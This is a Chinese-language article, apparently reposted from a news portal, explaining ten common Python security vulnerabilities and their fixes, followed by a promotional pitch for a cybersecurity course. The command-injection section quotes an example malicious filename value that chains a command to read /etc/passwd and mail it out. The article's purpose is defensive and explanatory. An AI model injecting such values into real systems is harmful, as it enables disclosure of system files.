python中常见的漏洞_Python中10个常见安全漏洞及修复方法原标题Python中10个常见安全漏洞及修复方法编写安全的代码很困难当你学习一门编程语言、一个模块或框架时你会学习其使用方法。在考虑安全性时你需要考虑如何避免代码被滥用Python也不例外即使在标准库中也存在着许多糟糕的实例。然而许多 Python 开发人员却根本不知道这些。以下是我总结的10个Python常见安全漏洞排名不分先后。1、输入注入注入攻击影响广泛且很常见注入有很多种类它们影响所有的语言、框架和环境。SQL 注入是直接编写 SQL 查询(而非使用 ORM) 时将字符串与变量混合。我读过很多代码其中“引号字符转义”被认为是一种修复但事实并非如此可以通过这个链接(https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)查看 SQL 注入所有可能发生的方式。命令注入有可能在使用 popen、subprocess、os.system 调用一个进程并从变量中获取参数时发生当调用本地命令时有人可能会将某些值设置为恶意值。下面是个简单的脚本(链接https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html)使用用户提供的文件名调用子进程攻击者会将filename的值设置为“; cat /etc/passwd | mail themdomain.com或者其他同样危险的值。修复方法如果你使用了 Web 框架可以用附带的实用程序对输入进行清理除非有充分的理由否则不要手动构建 SQL 查询大多数 ORM 都有内置的清理方法。对于 shell可以使用 shlex 模块正确地转义输入。2、解析XML如果您的应用程序加载并解析XML文件可能您正在使用一个XML标准库模块。有一些针对XML的常见攻击。大多数为DoS风格(旨破坏系统而不是盗取数据)。这些攻击很常见特别是在解析外部(即不可信任的)XML文件时。其中一种攻击为“billion laughs”因为加载的文件包含了很多个(数十亿)“lols”。你可以加载XML实体文件当XML解析器试图将这个XML文件加载到内存中时会消耗很多个G的内存。不信就试试看:-)另一种攻击使用外部实体扩展。 XML支持从外部URL引用实体XML解析器通常会直接获取并加载该资源。“攻击者可以绕开防火墙访问保密资源因为所有请求都是由内部可信的IP地址创建的请求不是来自于外部。”需要考虑的另一种情况是您要依赖于第三方软件包来解码XML例如配置文件远程API。您甚至不知道您的某个依赖包已经暴露在攻击之下。那么在Python中会发生什么标准库模块etreeDOMxmlrpc都容易遭受这些类型的攻击。详情参考此链接 https://docs.python.org/3/library/xml.html#xml-vulnerabilities修复方法:直接用defusedxml(链接https://pypi.org/project/defusedxml/)替换标准库模块。它增加了针对这类攻击的安全防护。3、Assert 语句不要使用 assert 语句来防止用户访问特定代码段。例如默认情况下Python 以 //debug//为 true 来执行脚本但在真实环境中通常使用优化运行这将会跳过 assert 语句并直接转到安全代码而不管用户是否是 is/_admin 。修复方法仅在单元测试中使用 assert 语句。4、计时攻击计时攻击本质上是一种通过计算比较提供值所需时间来暴露行为和算法的方式。计时攻击需要精确性所以通常不能用于高延迟的远程网络。由于大多数 Web 应用程序涉及可变延迟因此几乎不可能针对 HTTP Web 服务器编写计时攻击。但是如果你的应用程序有提示输入密码的命令行攻击者就可以编写一个简单的脚本来计算将其值与实际密码进行比较所需的时间。例子参考链接http://jyx.github.io/blog/2014/02/02/timing-attack-proof-of-concept/这里有一个基于SSH计时攻击的Python 工具你可以看看如何使用它。链接https://github.com/c0r3dump3d/osueta修复方法使用在 Python 3.5 中引入的 secrets.compare/_digest 来比较密码和其他私密值。5、感染site-packages 或导入路径Python的导入系统非常灵活。当你为测试程序编写猴子补丁或者重载核心函数时你会感觉非常方便。但这也是Python最大的安全漏洞之一。将第三方包安装到site-packages中无论是在虚拟环境中还是在全局site-packages中你都将暴露在安全风险中。有一些发布到PyPi的包与流行的包具有相似的名称但是却执行了任意代码。幸运的是这很可能没有太大危害只会“明确表示”这个问题没有得到真正的解决。需要考虑的另一种情况是多层依赖包。它们可能包含漏洞它们也可以通过导入系统重写Python默认行为。修复方法:你可以利用PyUp.io这个网站提供的工具检查你的第三方包。使用虚拟环境确保您的全局site-packages尽可能干净。检查包签名。6、临时文件要在 Python 中创建临时文件你通常会使用 mktemp ( )函数生成一个文件名然后使用该名称创建一个文件。 “这是不安全的因为另一个进程可能会在调用 mktemp ( )和随后尝试通过第一个进程创建文件之间的空隙创建一个同名文件。”这意味着应用程序可能加载错误的数据或暴露其他的临时数据。如果调用不正确最新版本的 Python 会发出运行警告。修复方法如果需要生成临时文件请使用 tempfile 模块并使用 mkstemp。(参考链接https://docs.python.org/3/library/tempfile.html#tempfile.mkstemp)7、使用 yaml.load这里引用 PyYAML 的说明文档警告使用不可信源的数据调用 yaml.load 是不安全的 yaml.load 和pickle.load 一样强大所以可以调用任何 Python 函数。在流行的Python项目 Ansible 中找到的这样一个例子(链接https://www.talosintelligence.com/reports/TALOS-2017-0305)你可以将此值提供给 Ansible Vault作为(有效的)YAML它使用文件中提供的参数调用 os.system。所以从用户提供的值中加载 YAML 文件会让应用大门洞开很容易遭受攻击。修复方法总是使用 yaml.safe/load除非你有其它更好的方法。8、Pickle漏洞用pickle反序列化数据和YAML一样糟糕。在pickle对象时Python类可以声明一个名为//reduce//_的魔术方法该方法返回一个字符串、或一个元组。攻击者可以使用它来引用其中一个子进程模块在主机上运行任意命令。这有一个在Python2中pickle一个类并打开shell的例子(链接https://blog.nelhage.com/2011/03/exploiting-pickle/)。更多利用pickle漏洞的方法请看这个链接https://lincolnloop.com/blog/playing-pickle-security/修复方法:切勿用pickle反序列化不受信任或未经身份验证的数据。改用另一种序列化模式如JSON。9、使用系统自带的Python而不修补漏洞大多数可移植操作系统都自带Python2通常还是旧版本。由于“Python”即CPython是用C语言编写的所以Python解释器本身存在漏洞。 C语言中常见的安全问题与内存分配有关所以存在缓冲区溢出错误。多年来CPython出现了多个溢出漏洞每个漏洞都在后续版本中进行了修复。也就是说如果你修补了Python本身的漏洞你就是安全的。这里有一个Python2.7.13及以下版本的整数溢出漏洞实例链接https://www.cvedetails.com/cve/CVE-2017-1000158/。 Ubuntu17以前版本的Python漏洞请参看链接https://distrowatch.com/table.php?distributionubuntu修复方法:安装最新版本的Python并及时修补漏洞。10、不修补依赖包的漏洞类似于修补Python本身的漏洞您还需要定期修补依赖包漏洞。有人习惯于使用PyPi软件包的“固定”版本这种做法很可怕。他们认为“这些是有用的版本”所以每个人都对漏洞置若罔闻。上面提到的所有漏洞如果存在于你使用的包中它们同样很致命。这些软件包的开发人员无时不刻不在解决安全问题。修复方法:使用类似于PyUP.io这个网站提供的服务去检查更新向应用程序发送pull/merge 请求运行测试让软件包保持更新。使用InSpec这样的工具(链接https://www.inspec.io/docs/reference/resources/pip/)来验证真实环境中的安装版本并确保修补了最小版本或多个连续版本的漏洞。(本篇图文均来自于网络如有侵权请联系删除)关注OTPUB官方公众号ydotpub或登录www.otpub.com获取更多精彩资讯返回搜狐查看更多责任编辑《网络安全从零到精通全套学习大礼包》96节从入门到精通的全套视频教程免费领取如果你也想通过学网络安全技术去帮助就业和转行我可以把我自己亲自录制的96节 从零基础到精通的视频教程以及配套学习资料无偿分享给你。网络安全学习路线图想要学习 网络安全作为新手一定要先按照路线图学习方向不对努力白费。对于从来没有接触过网络安全的同学我帮大家准备了从零基础到精通学习成长路线图以及学习规划。可以说是最科学最系统的学习路线大家跟着这个路线图学习准没错。配套实战项目/源码所有视频教程所涉及的实战项目和项目源码学习电子书籍学习网络安全必看的书籍和文章的PDF市面上网络安全书籍确实太多了这些是我精选出来的面试真题/经验以上资料如何领取文章来自网上侵权请联系博主